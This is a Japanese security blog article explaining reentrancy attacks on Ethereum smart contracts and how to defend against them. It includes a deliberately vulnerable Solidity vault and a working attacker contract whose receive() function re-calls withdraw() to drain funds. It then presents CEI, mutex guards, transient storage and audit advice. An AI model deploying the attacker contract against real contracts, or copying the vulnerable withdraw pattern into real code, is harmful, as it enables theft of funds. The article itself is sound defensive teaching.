【テクニカル・上級編】 再入攻撃(Reentrancy Attack)のメカニズムと防衛策 – IoT・OT(制御システム) & ブロックチェーンセキュリティ防御ガイド

状態(ステート)の死角を突く:再入攻撃(Reentrancy)の深層と、EVMにおける原子性の再定義

SCADAや産業制御システム(ICS)の世界では、物理的なバルブの開閉とセンサーのフィードバックの間に生じる「わずかな遅延」が致命的な事故を引き起こす。実は、Web3、特にEthereum仮想マシン(EVM)上のスマートコントラクトにおける「再入攻撃(Reentrancy Attack)」も、本質的にはこれと同じ、状態遷移の「一貫性の隙間」を突いた攻撃だ。

かつて数千万ドルの資金を流出させた「The DAO」事件から数年が経過したが、今なおこの脆弱性は、クロスチェーンブリッジやレンディングプロトコルといった複雑なDeFiエコシステムにおいて、その姿を変えて猛威を振るい続けている。

本稿では、単なるコーディングミスとしての再入攻撃ではなく、低レイヤの実行挙動とメモリ(ストレージ)の状態管理、そして次世代の防衛アーキテクチャであるEIP-1153(Transient Storage)までを俯瞰し、真に堅牢なスマートコントラクトを構築するための「監査の眼」を共有する。

—

1. 攻撃のメカニズム:制御フローの「ハイジャック」

再入攻撃の核心は、「外部コントラクトへの呼び出し(External Call)が終わる前に、自身の状態(State)が更新されていない」という点にある。

EVMにおいて call 命令が実行されると、制御権は呼び出し先のコントラクトへ完全に移る。もし呼び出し先が悪意あるコントラクトであり、その fallback 関数や receive 関数の中に、再び呼び出し元を叩くコードが仕込まれていたらどうなるか。

1. 呼び出し元(被害者): ユーザーの残高を確認し、送金処理を開始する。
2. 外部呼び出し: address(attacker).call{value: amount}("") を実行。
3. 攻撃者: receive() 関数内で、被害者の withdraw() 関数を再度叩く。
4. 呼び出し元(被害者): まだ残高(mapping balance)を減算していないため、再び「残高あり」と判定し、二重に送金を実行する。

このループは、ガスが尽きるか、被害者のコントラクトの残高が枯渇するまで繰り返される。これはパケットの順序逆転や、PLCのラダーロジックにおける競合状態(Race Condition)と極めて近い挙動だ。

—

2. 脆弱な実装とエクスプロイトの構造

まずは、教育的な観点から「教科書通りの脆弱なコード」とその攻撃コードを対比させる。

脆弱なコントラクト(Vault.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 脆弱な出金関数
    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Insufficient balance");

        // 1. 外部呼び出し(ここで制御を奪われる)
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 2. 状態更新(この行に到達する前に再入される)
        balances[msg.sender] = 0;
    }
}

攻撃用コントラクト(Attacker.sol)

contract Attacker {
    VulnerableVault public vault;

    constructor(address _vaultAddress) {
        vault = VulnerableVault(_vaultAddress);
    }

    // 攻撃のトリガー
    function attack() public payable {
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }

    // EVMが送金を受け取った際に自動実行される関数
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            // 被害者の状態が更新される前に、再度出金を要求
            vault.withdraw();
        }
    }
}

—

3. 防衛アーキテクチャの極致

我々セキュリティリサーチャーがコード監査を行う際、まずチェックするのは Checks-Effects-Interactions (CEI) パターンの遵守だ。しかし、現代の複雑なプロトコルではこれだけでは不十分なケースも多い。

A. Checks-Effects-Interactions (CEI) パターン

これは「状態を更新してから、外部と接触する」という鉄則だ。

function withdraw() public {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "Insufficient balance");

    // 1. Effects: 外部に送る前に、自分の帳簿を先に書き換える
    balances[msg.sender] = 0;

    // 2. Interactions: その後で外部呼び出しを行う
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

B. ReentrancyGuard (Mutex) の導入

OpenZeppelinが提供するような nonReentrant モディファイアは、関数の入り口でフラグを立て、実行中は他の呼び出しを拒絶する「ミューテックス(排他制御)」を実装する。

// 概念的な実装
abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED; // ロック
        _;
        _status = _NOT_ENTERED; // アンロック
    }
}

C. EIP-1153: Transient Storage(一過性ストレージ)による最適化

最新のEthereumアップグレード(Cancun)で導入された TSTORE / TLOAD は、再入攻撃対策に革命をもたらす。従来の SSTORE は高額なガス代を消費したが、Transient Storageはトランザクション終了時に破棄されるため、極めて低コストでガードレイル(Reentrancy Guard)を実装できる。これは、IoTデバイスにおける揮発性メモリ上のフラグ管理に近い。

—

4. 監査の盲点:クロス関数・クロスコントラクト再入

多くの開発者が「同じ関数に再入されなければ大丈夫だ」と誤解している。しかし、以下のパターンには要注意だ。

1. Cross-function Reentrancy: 関数Aから外部呼び出しを行い、その最中に同じコントラクトの関数Bを叩かれるケース。関数Bが関数Aと同じ共有状態を操作している場合、CEIパターンを関数単位で守っていても崩壊する。
2. Cross-contract Reentrancy: 複数のコントラクトが共通の「状態(例えば一つのVaultコントラクト)」を参照している場合、別のコントラクトを経由して状態矛盾を突かれる。これは最近の複雑なレンディングプロトコルのハッキングで頻発している。

—

5. セキュリティアーキテクトへの提言

再入攻撃を防ぐことは、単なるパッチ当てではない。それは「トランザクションの原子性(Atomicity)」をいかに定義するかという設計思想そのものだ。

  • 静的解析ツールの限界を知る: SlitherやMythrilは基本的な再入は見つけるが、複雑なビジネスロジックに依存するクロスコントラクト再入は見逃すことが多い。
  • 不変条件(Invariants)の監視: 「ユーザーの総残高の合計は、常にVaultの総保有量と等しいはずだ」といった不変条件を定義し、関数実行の前後でアサーションを行う。
  • Pull Paymentパターンの推奨: 「Push(送金する)」のではなく「Pull(ユーザーに引き出させる)」設計に倒すことで、外部呼び出しのリスクを局所化できる。

サイバーセキュリティの世界に「絶対」はない。しかし、EVMのスタック挙動とストレージスロットの書き換えタイミングをミリ秒単位のパケット解析と同じ精度で理解していれば、攻撃者が入り込む「隙間」を限りなくゼロに近づけることができる。

我々が守るべきはコードではなく、その背後にある「信頼の連鎖」なのだ。

コメント

タイトルとURLをコピーしました